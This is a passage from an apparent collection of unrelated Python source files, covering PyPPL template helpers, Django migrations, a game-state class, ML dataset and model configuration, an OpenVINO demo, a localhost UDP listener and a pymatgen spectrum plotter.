skip_empty_lines: continue ret.append(line) return ret def basename(var, orig = False): """Get the basename of a path""" bname = Path(var).name if orig or not bname.startswith('['): return bname return bname[bname.find(']')+1:] def filename(var, orig = False, dot = -1): """ Return the stem of the basename (stripping extension(s)) @params: `var`: The path `orig`: If the path is a renamed file (like: `origin[1].txt`), - whether return its original filename or the parsed filename (`origin.txt`) `dot`: Strip to which dot. - `-1`: the last one - `-2`: the 2nd last one ... - `1` : remove all dots. """ bname = basename(var, orig) if '.' not in bname: return bname return '.'.join(bname.split('.')[0:dot]) def prefix(var, orig = False, dot = -1): """Get the prefix part of a path""" return str(Path(var).parent.joinpath(filename(var, orig, dot))) def R(var, ignoreintkey = True): """Convert a value into R values""" if var is True: return 'TRUE' if var is False: return 'FALSE' if var is None: return 'NULL' if isinstance(var, str): if var.upper() in ['+INF', 'INF']: return 'Inf' if var.upper() == '-INF': return '-Inf' if var.upper() == 'TRUE': return 'TRUE' if var.upper() == 'FALSE': return 'FALSE' if var.upper() == 'NA' or var.upper() == 'NULL': return var.upper() if var.startswith('r:') or var.startswith('R:'): return str(var)[2:] return repr(str(var)) if isinstance(var, Path): return repr(str(var)) if isinstance(var, (list, tuple, set)): return 'c({})'.format(','.join([R(i) for i in var])) if isinstance(var, dict): # list allow repeated names return 'list({})'.format(','.join([ '`{0}`={1}'.format( k, R(v)) if isinstance(k, int) and not ignoreintkey else \ R(v) if isinstance(k, int) and ignoreintkey else \ '`{0}`={1}'.format(str(k).split('#')[0], R(v)) for k, v in sorted(var.items())])) return repr(var) def Rlist(var, ignoreintkey = True): # pylint: disable=invalid-name """Convert a dict into an R list""" assert isinstance(var, (list, tuple, set, dict)) if isinstance(var, dict): return R(var, ignoreintkey) return 'as.list({})'.format(R(var, ignoreintkey)) def render(var, data = None): """ Render a template variable, using the shared environment """ if not isinstance(var, str): return var import inspect from pyppl.template import TemplateJinja2, TemplateLiquid frames = inspect.getouterframes(inspect.currentframe()) data = data or {} for frame in frames: lvars = frame[0].f_locals if lvars.get('__engine') == 'liquid': evars = lvars.get('_liquid_context', {}) if 'true' in evars: del evars['true'] if 'false' in evars: del evars['false'] if 'nil' in evars: del evars['nil'] if '_liquid_liquid_filters' in evars: del evars['_liquid_liquid_filters'] break if '_Context__self' in lvars: evars = dict(lvars['_Context__self']) break engine = evars.get('__engine') if not engine: raise RuntimeError( "I don't know which template engine to use to render {}...".format(var[:10])) engine = TemplateJinja2 if engine == 'jinja2' else TemplateLiquid return engine(var, **evars).render(data) def box(var): """ Turn a dict into a Diot object """ from pyppl.utils import Diot if not isinstance(var, dict): raise TypeError('Cannot coerce non-dict object to Diot.') return 'Diot(%r)' % var.items() def obox(var): """ Turn a dict into an ordered Diot object """ if not isinstance(var, dict): raise TypeError('Cannot coerce non-dict object to OrderedDiot.') return 'OrderedDiot(%r)' % var.items() def glob1(*paths, first = True): """ Return the paths matches the paths """ assert len(paths) >= 2 paths = list(paths) path0 = paths.pop(0) pattern = paths.pop(-1) ret = list(Path(path0).joinpath(*paths).glob(pattern)) if ret and first: return ret[0] # Path object if not ret and first: return '__NoNeXiStFiLe__' return ret def array_join(var, element_quote = None, all_quote = None, separator = ' '): var = ( repr(str(element)) if element_quote in ("'", 'single') else \ json.dumps(str(element)) if element_quote in ('"', 'double') else \ element for element in var) var = separator.join(var) if all_quote in ("'", 'single'): return repr(var) if all_quote in ('"', 'double'): return json.dumps(var) return var TEMPLATE_ENVS = dict( R = R, #Rvec = R, # will be deprecated! Rlist = Rlist, realpath = lambda var: Path(var).resolve().as_posix(), dirname = lambda var: Path(var).parent.as_posix(), # /a/b/c[1].txt => c.txt basename = basename, box = box, obox = obox, stem = filename, # /a/b/c.d.e.txt => c stem2 = lambda var, orig = False, dot = 1: filename(var, orig, dot), # /a/b/c.txt => .txt ext = lambda var: Path(var).suffix, glob1 = glob1, # /a/b/c[1].txt => /a/b/c prefix = prefix, # /a/b/c.d.e.txt => /a/b/c prefix2 = lambda var, orig = False, dot = 1: prefix(var, orig, dot), # double quote string quote = lambda var: json.dumps(str(var)), squote = lambda var: repr(str(var)), json = json.dumps, read = read, readlines = readlines, render = render, array_join = array_join, rimport = rimport, bashimport = bashimport, ) # aliases or reuses TEMPLATE_ENVS['readlink'] = TEMPLATE_ENVS['realpath'] TEMPLATE_ENVS['parent'] = TEMPLATE_ENVS['dirname'] TEMPLATE_ENVS['bn'] = TEMPLATE_ENVS['basename'] TEMPLATE_ENVS['filename'] = TEMPLATE_ENVS['stem'] TEMPLATE_ENVS['fn'] = TEMPLATE_ENVS['stem'] TEMPLATE_ENVS['filename2'] = TEMPLATE_ENVS['stem2'] TEMPLATE_ENVS['fn2'] = TEMPLATE_ENVS['stem2'] TEMPLATE_ENVS['ext2'] = lambda var: TEMPLATE_ENVS['ext'](var).lstrip('.') DEFAULT_ENVS.update(TEMPLATE_ENVS)
py
1a4cd03f3018becc0b0295e1916e36cebd388714
# -*- coding: utf-8 -*- # Generated by Django 1.11.5 on 2018-01-31 13:36 from __future__ import unicode_literals import api.models from django.conf import settings import django.core.validators from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ] operations = [ migrations.CreateModel( name='AnalysisTransaction', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('filename', models.CharField(max_length=256)), ('md5', models.CharField(max_length=32, validators=[django.core.validators.MinLengthValidator(32)])), ('completed', models.BooleanField(default=False)), ('failed', models.BooleanField(default=False)), ('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)), ], ), migrations.CreateModel( name='Exports', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('size', api.models.PositiveBigIntegerField()), ('name', models.TextField()), ('offset', api.models.PositiveBigIntegerField()), ], ), migrations.CreateModel( name='Import', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.TextField()), ('addr', api.models.PositiveBigIntegerField()), ], ), migrations.CreateModel( name='Libs', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('name', models.TextField()), ], ), migrations.CreateModel( name='Procedure', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('offset', api.models.PositiveBigIntegerField()), ], ), migrations.CreateModel( name='ProcedureComment', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('text', models.TextField()), ], ), migrations.CreateModel( name='ProcedureDesc', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('vex_hash', models.CharField(max_length=536, validators=[django.core.validators.MinLengthValidator(536)])), ('flow_hash', models.CharField(max_length=280, validators=[django.core.validators.MinLengthValidator(280)])), ('raw', models.BinaryField()), ('raw_len', models.IntegerField()), ('name', models.TextField()), ('callconv', models.TextField(null=True)), ('apicalls', models.TextField()), ('asm', models.BinaryField()), ('procedure', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='api.Procedure')), ('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)), ], ), migrations.CreateModel( name='Program', fields=[ ('sha256', models.CharField(db_index=True, max_length=64, unique=True, validators=[django.core.validators.MinLengthValidator(64)])), ('md5', models.CharField(max_length=32, primary_key=True, serialize=False, validators=[django.core.validators.MinLengthValidator(32)])), ], ), migrations.CreateModel( name='ProgramInfo', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('filename', models.TextField()), ('bits', models.PositiveSmallIntegerField()), ('arch', models.TextField()), ('program_class', models.TextField()), ('endian', models.TextField()), ('entropy', models.IntegerField()), ('program', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='api.Program')), ('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL)), ], ), migrations.CreateModel( name='Sections', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('size', api.models.PositiveBigIntegerField()), ('name', models.TextField(null=True)), ('md5', models.CharField(max_length=32, validators=[django.core.validators.MinLengthValidator(32)])), ('offset', api.models.PositiveBigIntegerField()), ('programinfo', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='api.ProgramInfo')), ], ), migrations.CreateModel( name='Strings', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('size', api.models.PositiveBigIntegerField()), ('encoding', models.TextField()), ('val', models.TextField()), ('offset', api.models.PositiveBigIntegerField()), ('programinfo', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='api.ProgramInfo')), ], ), migrations.AddField( model_name='procedurecomment', name='procedureDesc', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='api.ProcedureDesc'), ), migrations.AddField( model_name='procedurecomment', name='user', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL), ), migrations.AddField( model_name='procedure', name='program', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='api.Program'), ), migrations.AddField( model_name='libs', name='programinfo', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='api.ProgramInfo'), ), migrations.AddField( model_name='import', name='programinfo', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='api.ProgramInfo'), ), migrations.AddField( model_name='exports', name='programinfo', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='api.ProgramInfo'), ), migrations.AlterUniqueTogether( name='proceduredesc', unique_together=set([('procedure', 'user')]), ), migrations.AlterUniqueTogether( name='procedure', unique_together=set([('offset', 'program')]), ), ]
py
1a4cd05982d16fe13919649cff2fda92d708ce53
# -*-coding:Utf-8 -* # Copyright (c) 2011 LE GOFF Vincent # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # * Redistributions of source code must retain the above copyright notice, this # list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above copyright notice, # this list of conditions and the following disclaimer in the documentation # and/or other materials provided with the distribution. # * Neither the name of the copyright holder nor the names of its contributors # may be used to endorse or promote products derived from this software # without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT # OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. """Ce fichier définit la classe Etat, détaillée plus bas.""" from corps.fonctions import valider_cle from primaires.perso.exceptions.action import ExceptionAction class Etat: """Classe représentant un état d'un personnage. L'état est une classe générique représentant un état d'un personnage. Un état est l'état actif du personnage (est en train de combattre, est en train de chercher du bois, est en train de pêcher...). L'état autorise ou interdit certaines actions identifiées simplement par leur clé. Par exemple, l'état "combat" (est en combat) interdit qu'on ramasse un objet. Si un personnage change d'état, on manipule son attribut 'cle_etat'. On ne crée pas un nouvel état pour lui. L'état reste, en somme, le même d'un personnage à l'autre. En terme d'objet, si un personnage entre en combat contre un autre personnage, ils partagent le même état. L'état ne peut donc pas contenir d'informations propres à un personnage. Pour notifier qu'un personnage effectue une action dans une commande, on appelle la méthode 'agir' du personnage en lui passant en paramètre la clé de l'action. >>> personnage.agir("ramasser") Si l'état dans lequel se trouve le personnage n'autorise pas à ramasser, une exception interceptée est levée, interrompant l'exécution de la commande et envoyant un message de refus au joueur (vous êtes en train de combattre). NOTE : Si seul le dictionnaire des actions interdites est renseigné, toutes les actions non interdites sont, par défaut, autorisées. Si seul le dictionnaire des actions autorisées est renseigné, toutes les actions non autorisées sont interdites. Si les deux sont vides, toutes les actions sont interdites. """ cle = None msg_refus = "Non précisé." msg_visible = "fait quelque chose" act_autorisees = [] act_interdites = [] peut_etre_attaque = True sauvegarder_au_reboot = False def __init__(self, personnage): """Constructeur d'un état.""" self.personnage = personnage @property def arguments(self): return (self.cle, ) def peut_faire(self, cle_action): """Si ne peut pas faire l'action, lève une exception ExceptionEtat. Sinon, laisse passer. """ if cle_action in self.act_interdites or (not self.act_interdites \ and not cle_action in self.act_autorisees): raise ExceptionAction(self.msg_refus) def message_visible(self): """Retourne le message pour les autres.""" return self.msg_visible def get_facteur(self): """Retourne le facteur de récupération.""" return 1 def supprimer(self): """L'état se supprime du personnage.""" pass
py
1a4cd080fe66821450418193e1f5b097d2f2078e
def init(): global supp_fts global query_fts global prototypes
py
1a4cd2642f4c5799b76f43da60528f32b14cbd66
""" 选择枚举,用于对常量进行处理 """ import collections from enum import Enum from typing import Dict, Tuple __all__ = [ "ChoicesValue", "ChoicesEnum", ] ChoicesValue = collections.namedtuple("choices_value", ["id", "name"]) class ChoicesEnum(Enum): @classmethod def _get_members(cls): return cls._members.value @classmethod def get_choices(cls) -> Tuple: members = cls._get_members() result = [(member.id, member.name) for member in members] return tuple(result) @classmethod def get_dict_choices(cls) -> Dict: members = cls._get_members() result = {member.id: member.name for member in members} return result @classmethod def get_choices_drop_down_list(cls): members = cls._get_members() result = [{"id": member.id, "name": member.name} for member in members] return result
py
1a4cd2751be8805c58f577386b270304e6902ec3
import string import numpy as np import torch from torch.utils.data import Dataset, TensorDataset from torchvision.datasets import MNIST from learn2learn.vision.datasets import FullOmniglot class TempDataset(Dataset): def __init__(self, data, labels): self.data = data self.labels = labels def __len__(self): return len(self.labels) def __getitem__(self, item): return self.data[item], self.labels[item] class TestDatasets(): def __init__(self): self.download_location = "/tmp/datasets" self.n = 1500 self.features = 10 self.tensor_classes = [0, 1, 2, 3, 4] self.str_classes = ["0", "1", "2", "3", "4"] self.alphabets = list(string.ascii_lowercase) self.mnist_classes = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9] self.omniglot_classes = [i for i in range(1623)] tensor_data = torch.from_numpy(np.random.randn(self.n, self.features)) tensor_labels = torch.from_numpy(np.random.choice(self.tensor_classes, self.n)) str_data = np.random.randn(self.n, self.features) str_labels = np.random.choice(self.str_classes, self.n) alphabet_data = np.repeat(np.arange(26), self.features).reshape(-1, self.features) self.tensor_dataset = TensorDataset(tensor_data, tensor_labels) self.str_dataset = TempDataset(str_data, str_labels) self.alphabet_dataset = TempDataset(alphabet_data, self.alphabets) def get_mnist(self): return MNIST(self.download_location, train=True, download=True) def get_omniglot(self): return FullOmniglot(root=self.download_location, download=True)
py
1a4cd323d6323d49e8636af9177e65e16574e95b
from flask import Blueprint posts = Blueprint('posts', __name__) from . import views,forms
py
1a4cd459a2761ca3fdc72e01033157f708cf9d49
import socket import sys send_response = True default_response_str = '' default_response_bytes = default_response_str.encode('utf-8') # Create a TCP/IP socket sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(10) # Bind the socket to the port server_address = ('localhost', 8001) print(f"{sys.stderr}, 'starting up on %s port %s' - {server_address}") sock.bind(server_address) while True: try: data, address = sock.recvfrom(4096) print(f"received %s bytes from {address}") if data: print(f"data:{data}") if send_response: sent = sock.sendto(default_response_bytes, address) except KeyboardInterrupt: print("Exiting via interrupt") sys.exit() except socket.timeout as e: sys.exit()
py
1a4cd54a0d9c8287011fed4b41513a1b001fcf41
#!/usr/bin/env python """ Copyright (c) 2019 Intel Corporation Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ from __future__ import print_function import sys from argparse import ArgumentParser, SUPPRESS from openvino.inference_engine import IECore from action_recognition_demo.models import IEModel from action_recognition_demo.result_renderer import ResultRenderer from action_recognition_demo.steps import run_pipeline from os import path def video_demo(encoder, decoder, videos, fps=30, labels=None): """Continuously run demo on provided video list""" result_presenter = ResultRenderer(labels=labels) run_pipeline(videos, encoder, decoder, result_presenter.render_frame, fps=fps) def build_argparser(): parser = ArgumentParser(add_help=False) args = parser.add_argument_group('Options') args.add_argument('-h', '--help', action='help', default=SUPPRESS, help='Show this help message and exit.') args.add_argument("-m_en", "--m_encoder", help="Required. Path to encoder model", required=True, type=str) args.add_argument("-m_de", "--m_decoder", help="Required. Path to decoder model", required=True, type=str) args.add_argument("-i", "--input", help="Required. Id of the video capturing device to open (to open default camera just pass 0), " "path to a video or a .txt file with a list of ids or video files (one object per line)", required=True, type=str) args.add_argument("-l", "--cpu_extension", help="Optional. For CPU custom layers, if any. Absolute path to a shared library with the " "kernels implementation.", type=str, default=None) args.add_argument("-d", "--device", help="Optional. Specify a target device to infer on. CPU, GPU, FPGA, HDDL or MYRIAD is " "acceptable. The demo will look for a suitable plugin for the device specified. " "Default value is CPU", default="CPU", type=str) args.add_argument("--fps", help="Optional. FPS for renderer", default=30, type=int) args.add_argument("-lb", "--labels", help="Optional. Path to file with label names", type=str) return parser def main(): args = build_argparser().parse_args() full_name = path.basename(args.input) extension = path.splitext(full_name)[1] if '.txt' in extension: with open(args.input) as f: videos = [line.strip() for line in f.read().split('\n')] else: videos = [args.input] if not args.input: raise ValueError("--input option is expected") if args.labels: with open(args.labels) as f: labels = [l.strip() for l in f.read().strip().split('\n')] else: labels = None ie = IECore() if 'MYRIAD' in args.device: myriad_config = {"VPU_HW_STAGES_OPTIMIZATION": "YES"} ie.set_config(myriad_config, "MYRIAD") if args.cpu_extension and 'CPU' in args.device: ie.add_extension(args.cpu_extension, "CPU") decoder_target_device = "CPU" if args.device != 'CPU': encoder_target_device = args.device else: encoder_target_device = decoder_target_device encoder_xml = args.m_encoder encoder_bin = args.m_encoder.replace(".xml", ".bin") decoder_xml = args.m_decoder decoder_bin = args.m_decoder.replace(".xml", ".bin") encoder = IEModel(encoder_xml, encoder_bin, ie, encoder_target_device, num_requests=(3 if args.device == 'MYRIAD' else 1)) decoder = IEModel(decoder_xml, decoder_bin, ie, decoder_target_device, num_requests=2) video_demo(encoder, decoder, videos, args.fps, labels) if __name__ == '__main__': sys.exit(main() or 0)
py
1a4cd58c0db367a3b76a466813127c05c197e2e4
# import argparse # import template # # parser = argparse.ArgumentParser(description='EDSR and MDSR') # # parser.add_argument('--debug', action='store_true', # help='Enables debug mode') # parser.add_argument('--template', default='.', # help='You can set various templates in option.py') # # # Hardware specifications # parser.add_argument('--n_threads', type=int, default=6, # help='number of threads for data loading') # parser.add_argument('--cpu', action='store_true', # help='use cpu only') # parser.add_argument('--n_GPUs', type=int, default=1, # help='number of GPUs') # parser.add_argument('--seed', type=int, default=1, # help='random seed') # # # Data specifications # # parser.add_argument('--dir_data', type=str, default='../../../dataset', # # help='dataset directory') # # parser.add_argument('--dir_demo', type=str, default='../test', # # help='demo image directory') # # parser.add_argument('--data_train', type=str, default='DIV2K', # # help='train dataset name') # # parser.add_argument('--data_test', type=str, default='DIV2K', # # help='test dataset name') # # parser.add_argument('--data_range', type=str, default='1-800/801-810', # # help='train/test data range') # # parser.add_argument('--ext', type=str, default='sep', # # help='dataset file extension') # parser.add_argument('--scale', type=str, default='4', # help='super resolution scale') # parser.add_argument('--patch_size', type=int, default=192, # help='output patch size') # parser.add_argument('--rgb_range', type=int, default=255, # help='maximum value of RGB') # parser.add_argument('--n_colors', type=int, default=3, # help='number of color channels to use') # parser.add_argument('--chop', action='store_true', # help='enable memory-efficient forward') # parser.add_argument('--no_augment', action='store_true', # help='do not use data augmentation') # # # Model specifications # parser.add_argument('--model', default='EDSR', # help='model name') # # parser.add_argument('--act', type=str, default='relu', # help='activation function') # parser.add_argument('--pre_train', type=str, default='', # help='pre-trained model directory') # parser.add_argument('--extend', type=str, default='.', # help='pre-trained model directory') # parser.add_argument('--n_resblocks', type=int, default=16, # help='number of residual blocks') # parser.add_argument('--n_feats', type=int, default=64, # help='number of feature maps') # parser.add_argument('--res_scale', type=float, default=1, # help='residual scaling') # parser.add_argument('--shift_mean', default=True, # help='subtract pixel mean from the input') # parser.add_argument('--dilation', action='store_true', # help='use dilated convolution') # parser.add_argument('--precision', type=str, default='single', # choices=('single', 'half'), # help='FP precision for test (single | half)') # # # Option for Residual dense network (RDN) # parser.add_argument('--G0', type=int, default=64, # help='default number of filters. (Use in RDN)') # parser.add_argument('--RDNkSize', type=int, default=3, # help='default kernel size. (Use in RDN)') # parser.add_argument('--RDNconfig', type=str, default='B', # help='parameters config of RDN. (Use in RDN)') # # # Option for Residual channel attention network (RCAN) # parser.add_argument('--n_resgroups', type=int, default=10, # help='number of residual groups') # parser.add_argument('--reduction', type=int, default=16, # help='number of feature maps reduction') # # # Training specifications # parser.add_argument('--reset', action='store_true', # help='reset the training') # parser.add_argument('--test_every', type=int, default=1000, # help='do test per every N batches') # parser.add_argument('-e','--EPOCHS', type=int, default=10, # help='number of epochs to train') # parser.add_argument('-b','--BATCH', type=int, default=16, # help='input batch size for training') # parser.add_argument('--split_batch', type=int, default=1, # help='split the batch into smaller chunks') # parser.add_argument('--self_ensemble', action='store_true', # help='use self-ensemble method for test') # parser.add_argument('--test_only', action='store_true', # help='set this option to test the model') # parser.add_argument('--gan_k', type=int, default=1, # help='k value for adversarial loss') # # # Optimization specifications # parser.add_argument('--lr', type=float, default=1e-4, # help='learning rate') # parser.add_argument('--decay', type=str, default='100', # help='learning rate decay type') # parser.add_argument('--gamma', type=float, default=0.5, # help='learning rate decay factor for step decay') # parser.add_argument('--optimizer', default='ADAM', # choices=('SGD', 'ADAM', 'RMSprop'), # help='optimizer to use (SGD | ADAM | RMSprop)') # parser.add_argument('--momentum', type=float, default=0.9, # help='SGD momentum') # parser.add_argument('--betas', type=tuple, default=(0.9, 0.999), # help='ADAM beta') # parser.add_argument('--epsilon', type=float, default=1e-8, # help='ADAM epsilon for numerical stability') # parser.add_argument('--weight_decay', type=float, default=0, # help='weight decay') # parser.add_argument('--gclip', type=float, default=0, # help='gradient clipping threshold (0 = no clipping)') # # # Loss specifications # parser.add_argument('--loss', type=str, default='1*L1', # help='loss function configuration') # parser.add_argument('--skip_threshold', type=float, default='1e8', # help='skipping batch that has large error') # # # Log specifications # parser.add_argument('--save', type=str, default='test', # help='file name to save') # parser.add_argument('--load', type=str, default='', # help='file name to load') # parser.add_argument('--resume', type=int, default=0, # help='resume from specific checkpoint') # parser.add_argument('--save_models', action='store_true', # help='save all intermediate models') # parser.add_argument('--print_every', type=int, default=100, # help='how many batches to wait before logging training status') # parser.add_argument('--save_results', action='store_true', # help='save output results') # parser.add_argument('--save_gt', action='store_true', # help='save low-resolution and high-resolution images together') # # args = parser.parse_args() # # args.n_resblocks = 32 # # # args.n_feats = 256 # # # args.res_scale = 0.1 # # template.set_template(args) # # args.scale = list(map(lambda x: int(x), args.scale.split('+'))) # # args.data_train = args.data_train.split('+') # # args.data_test = args.data_test.split('+') # # for arg in vars(args): # if vars(args)[arg] == 'True': # vars(args)[arg] = True # elif vars(args)[arg] == 'False': # vars(args)[arg] = False class Config: debug = False template = '.' n_threads = 6 cpu = False n_GPUs = 1 seed = 1 n_colors = 3 rgb_range = 255 chop = False no_augment = False model = 'EDSR' act = 'relu' pre_train = '' extend = '.' # n_resblocks = 16 # n_feats = 64 # res_scale = 1.0 n_resblocks = 32 n_feats = 256 res_scale = 0.1 shift_mean = True dilation = False precision = 'single' reset = False test_every = 1000 split_batch = 1 self_ensemble = False test_only = False gan_k = 1 lr = 1e-4 decay = '5-10' gamma = 0.5 t_0 = 5 t_mult = 2 optimizer = 'ADAM' momentum = 0.9 betas = (0.9, 0.999) epsilon = 1e-8 weight_decay = 0. gclip = 0. # Loss specifications loss = '1*L1' skip_threshold = 1e8 # Log specifications save = 'test' load = '' resume = 0 save_models = False print_every = 100 save_results = False save_gt = False def __init__(self, scale='4', hr_img_size=224, epochs=3, batch_size=32, **kwargs): self.scale = str(scale) self.patch_size = hr_img_size self.epochs = epochs self.batch_size = batch_size self.scale = list(map(lambda x: int(x), self.scale.split('+'))) for kw in kwargs: vars(self)[kw] = kwargs[kw] for arg in vars(self): if vars(self)[arg] == 'True': vars(self)[arg] = True elif vars(self)[arg] == 'False': vars(self)[arg] = False if __name__ == "__main__": config = Config(lr=1e-2, pre_train='download') print(config.model, config.lr, config.pre_train)
py
1a4cd5c315d5f752cc793b3e4a26df9d31c5e42c
# coding: utf-8 # Copyright (c) Pymatgen Development Team. # Distributed under the terms of the MIT License. """ This module defines generic plotters. """ import collections import importlib from pymatgen.util.plotting import pretty_plot class SpectrumPlotter: """ Class for plotting Spectrum objects and subclasses. Note that the interface is extremely flexible given that there are many different ways in which people want to view spectra. The typical usage is:: # Initializes plotter with some optional args. Defaults are usually # fine, plotter = SpectrumPlotter() # Adds a DOS (A kind of spectra) with a label. plotter.add_spectrum("Total DOS", dos) # Alternatively, you can add a dict of DOSs. This is the typical # form returned by CompleteDos.get_spd/element/others_dos(). plotter.add_spectra({"dos1": dos1, "dos2": dos2}) """ def __init__(self, xshift=0.0, yshift=0.0, stack=False, color_cycle=("qualitative", "Set1_9")): """ Args: xshift (float): A shift that is applied to the x values. This is commonly used to shift to an arbitrary zero. E.g., zeroing at the Fermi energy in DOS, or at the absorption edge in XAS spectra. The same xshift is applied to all spectra. yshift (float): A shift that is applied to the y values. This is commonly used to displace spectra for easier visualization. Successive spectra are applied successive shifts. stack (bool): Whether to stack plots rather than simply plot them. For example, DOS plot can usually be stacked to look at the contribution of each orbital. color_cycle (str): Default color cycle to use. Note that this can be overridden """ self.xshift = xshift self.yshift = yshift self.stack = stack mod = importlib.import_module("palettable.colorbrewer.%s" % color_cycle[0]) self.colors_cycle = getattr(mod, color_cycle[1]).mpl_colors self.colors = [] self._spectra = collections.OrderedDict() def add_spectrum(self, label, spectrum, color=None): """ Adds a Spectrum for plotting. Args: label (str): Label for the Spectrum. Must be unique. spectrum: Spectrum object color (str): This is passed on to matplotlib. E.g., "k--" indicates a dashed black line. If None, a color will be chosen based on the default color cycle. """ self._spectra[label] = spectrum self.colors.append(color or self.colors_cycle[len(self._spectra) % len(self.colors_cycle)]) def add_spectra(self, spectra_dict, key_sort_func=None): """ Add a dictionary of doses, with an optional sorting function for the keys. Args: dos_dict: dict of {label: Dos} key_sort_func: function used to sort the dos_dict keys. """ if key_sort_func: keys = sorted(spectra_dict.keys(), key=key_sort_func) else: keys = spectra_dict.keys() for label in keys: self.add_spectrum(str(label) + ' K', spectra_dict[label]) def get_plot(self, xlim=None, ylim=None): """ Get a matplotlib plot showing the DOS. Args: xlim: Specifies the x-axis limits. Set to None for automatic determination. ylim: Specifies the y-axis limits. """ plt = pretty_plot(7, 0) base = 0.0 i = 0 for key, sp in self._spectra.items(): if not self.stack: plt.plot( sp.x, sp.y + self.yshift * i, color=self.colors[i], label=str(key), linewidth=3, ) else: plt.fill_between( sp.x, base, sp.y + self.yshift * i, color=self.colors[i], label=str(key), linewidth=3, ) base = sp.y + base plt.xlabel('Número de onda ' + r'($cm^{-1}$)') plt.ylabel('Intensidadade (u.a.)') i += 1 if xlim: plt.xlim(xlim) if ylim: plt.ylim(ylim) """ ************************************************************************* Configuração feito para ordenar a legenda ************************************************************************* """ # current_handles, current_labels = plt.gca().get_legend_handles_labels() # reversed_handles = list(reversed(current_handles)) # reversed_labels = list(reversed(current_labels)) # plt.legend(reversed_handles, reversed_labels) # *********************************************************************** plt.legend() leg = plt.gca().get_legend() ltext = leg.get_texts() # all the text.Text instance in the legend plt.setp(ltext, fontsize=30) plt.tight_layout() return plt def save_plot(self, filename, img_format="eps", **kwargs): """ Save matplotlib plot to a file. Args: filename: Filename to write to. img_format: Image format to use. Defaults to EPS. """ plt = self.get_plot(**kwargs) plt.savefig(filename, format=img_format) def show(self, **kwargs): """ Show the plot using matplotlib. """ plt = self.get_plot(**kwargs) plt.show()
py
1a4cd740027c56d6e5478a4be0fea2aa71a5db3e
# Generated by Django 2.0 on 2018-06-10 15:34 from django.db import migrations, models import imagekit.models.fields class Migration(migrations.Migration): dependencies = [("events", "0033_remove_unused_team_cover_img")] operations = [ migrations.AddField( model_name="team", name="cover_img", field=models.ImageField( blank=True, null=True, upload_to="team_covers", verbose_name="Cover Image", ), ) ]
py
1a4cd7b78a59857484fdf4c02d4b2f6b2bcd3a09
